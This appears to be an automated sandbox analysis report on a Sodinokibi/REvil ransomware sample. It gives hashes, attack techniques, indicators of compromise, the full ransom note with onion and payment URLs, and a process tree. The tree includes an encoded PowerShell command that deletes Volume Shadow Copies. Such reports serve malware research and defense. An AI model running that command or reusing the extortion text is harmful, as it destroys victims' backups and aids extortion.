sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
94s
max time network
103s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 05:45

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

8d50eacadd7b377722828227a3d30350
SHA1

cbe1881838871f1fa3672b97cec29955b786aba3
SHA256

353ddd0a20aa154923d91052d8ef6c94a32fe9cb1293cde6b8d05b032a79237d
SHA512

8ae9aa227b92c18d8dbb8882d6ee097537f69e8e5700ca25506ca9d3a1d7559b20b27a53ab6aff0812e20201256f5cea8aa008a82861f27d334df638695d9ef8
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QrEz7U4kTyN:NJ0BXScFyfC3Hd4ygovU4s

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\avb4g1493-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension avb4g1493. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7DFF1F2A0E8912DF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/7DFF1F2A0E8912DF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ETSv/4x2eEoS3UI79z9yz+oiKhqOecalAyIQt3cbCug0g5AnUe+/+tlIDMqXf6Ke DsIUlKvfDTpl+9oLBTeTeFbaOwl5+4TjeM2baATorbJ18ITtm8nCYyVPAiThoOiH F0f904UKmq8haLF+UJXoHF52mB593EGo1Yqm3bUFtpIQe/vRIYoqZqGecZpCf1br ZcbjtGi8Ayw1Wg7G8AQt1vDYCXjeFaqWgO//K2p6kZ2e7J2scMpyxssHooPDO13O rn4qxtf82UhvP6JniPlgIb5bd1P65IaFhwa36lLRqHcbnJNB4niKxWaQgeUWLyNo r9Mr4jdxcSvTzZ5TvVkVjY98lR0DeVwiJQwknPPBzZappJAgKIJapTeykjCF6zeo dUBDSW5r5HbF5ewhzPuq/bRF4kV6wGhT4AjNsPO99ULJzh874yyNKUO/gAWjsLwK FQi6BBvctuqImHCIg9XGzQLQN+FtV5hp1NaPg1z2YF2jUubzaydr+3BVk/PQujWA UbcZMwk4SgrER/iVyydEeSttFxns+lChgcqLILXY4nQ7oBQseU5TUviVlvqhak1L gQb/r2Rc8u44qDCaNifcyH723etLrJBte2MsJNvqvCIGiXoDLAuvO3XJdaO6X9Xb ZmW4Jx/mWBMn8SYECpi2LIYuWgE2MIlXQhDBnVhQUWHM2Sj+1/ejkSMMwiyIldZL X+RDDdIe8vdmvxBm2Sgwx3K3mZ8C7xatn7FNlptjwsDlX6tAW686xB4wFrUjuptD IiBx1XGrLaTYhq5uloCI9gmP9Qj1OxCCTLnzQY6uEHGwNsQEsyvfhNsFuMzk3FeO qKthdMigXOHamJ6Bo/MqwUuVT2vmJJKSsQerFo7nOuikFVlLBrVvftQhwKDHTd0/ DfN/mfjf1y6rZl96li660eQF90yvpB8JELSzsRa1RwtAPyLzyusd4BjNXed87eDQ iMY9JdL0NUsjTdHUbnTBvOgXK41i7NAtLvEPONnYOa2s2TkuQlCWRXQFwQo3T9Y5 e8PWEZIEHzeQ4gIFhpWZ9MP+CyWjzkS+423Z93GX2/9XyMtSY5ZETT6avrn8lLBc deDitKI1srGwhuAqW3nA3rcgn6i+DaxKxyeZSIPVZZOcEHG/lvyHm8hJUbVZBjM/ F/42ya1wQT5RLRZpO5fvfaacBUmdFfKyWJcoGKXDufhm5YShe9LWWuakBtHl/RGD rTmUHafddlieRPqHTaqM58/iihycUAZ9xTl3iiVU+FCkXsrbNlhkeV0N/y9qkqac 6lmW9145KKLkSdPlWfK+VcDBLIXyLFmfArzSN38yXRBFCemwu3TitA8FdjM0hZIM OY2RzkdY795aSApF8+tRXSRkyOayLzNScM7qImBkqiai8KbGNYqXd3KlF/4= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7DFF1F2A0E8912DF

http://decryptor.cc/7DFF1F2A0E8912DF

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe

Drops file in Program Files directory 15 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\CompareHide.nfo	rundll32.exe
File opened for modification	\??\c:\program files\DenyRemove.vbe	rundll32.exe
File created	\??\c:\program files\avb4g1493-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToClose.vbe	rundll32.exe
File opened for modification	\??\c:\program files\UninstallRestore.wpl	rundll32.exe
File opened for modification	\??\c:\program files\CompressCompare.xltx	rundll32.exe
File opened for modification	\??\c:\program files\ExpandPublish.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\ResumeRemove.mpg	rundll32.exe
File opened for modification	\??\c:\program files\RepairMeasure.vstx	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishTest.easmx	rundll32.exe
File created	\??\c:\program files (x86)\avb4g1493-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveCopy.ram	rundll32.exe
File opened for modification	\??\c:\program files\ApproveSubmit.aif	rundll32.exe
File opened for modification	\??\c:\program files\DisableRevoke.vst	rundll32.exe
File opened for modification	\??\c:\program files\EnableApprove.clr	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
680	rundll32.exe
680	rundll32.exe
2996	powershell.exe
2996	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	680	rundll32.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeBackupPrivilege	3724	vssvc.exe
Token: SeRestorePrivilege	3724	vssvc.exe
Token: SeAuditPrivilege	3724	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 3472 wrote to memory of 680	3472	rundll32.exe	80
PID 3472 wrote to memory of 680	3472	rundll32.exe	80
PID 3472 wrote to memory of 680	3472	rundll32.exe	80
PID 680 wrote to memory of 2996	680	rundll32.exe	82
PID 680 wrote to memory of 2996	680	rundll32.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2996

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2096

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p03osgeu.qw4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\avb4g1493-readme.txt

Filesize
6KB

MD5
eb032d311002998f1dfd20b4cb51ae53

SHA1
86df6079c86d88ee5234a0a2a6d7cfcb8e23aee6

SHA256
d7ac4baf34f90f3fb60eeb01550214d56adb58cb1e2c1a079b647a513b280d59

SHA512
172a13d0854aded2b1dd76d8a479b4d63aca70a7eed0e41da2354fb24630574b057aae89cdab0582fd3c8cb1d6782bbcea17cdc094e5e7e60416a487a55038a0

Download Submit
memory/2996-8-0x000002642AA30000-0x000002642AA52000-memory.dmp

Filesize
136KB

Download
memory/2996-9-0x00007FFF6C660000-0x00007FFF6D122000-memory.dmp

Filesize
10.8MB

Download
memory/2996-10-0x000002642AA60000-0x000002642AA70000-memory.dmp

Filesize
64KB

Download
memory/2996-11-0x000002642AA60000-0x000002642AA70000-memory.dmp

Filesize
64KB

Download
memory/2996-14-0x00007FFF6C660000-0x00007FFF6D122000-memory.dmp

Filesize
10.8MB

Download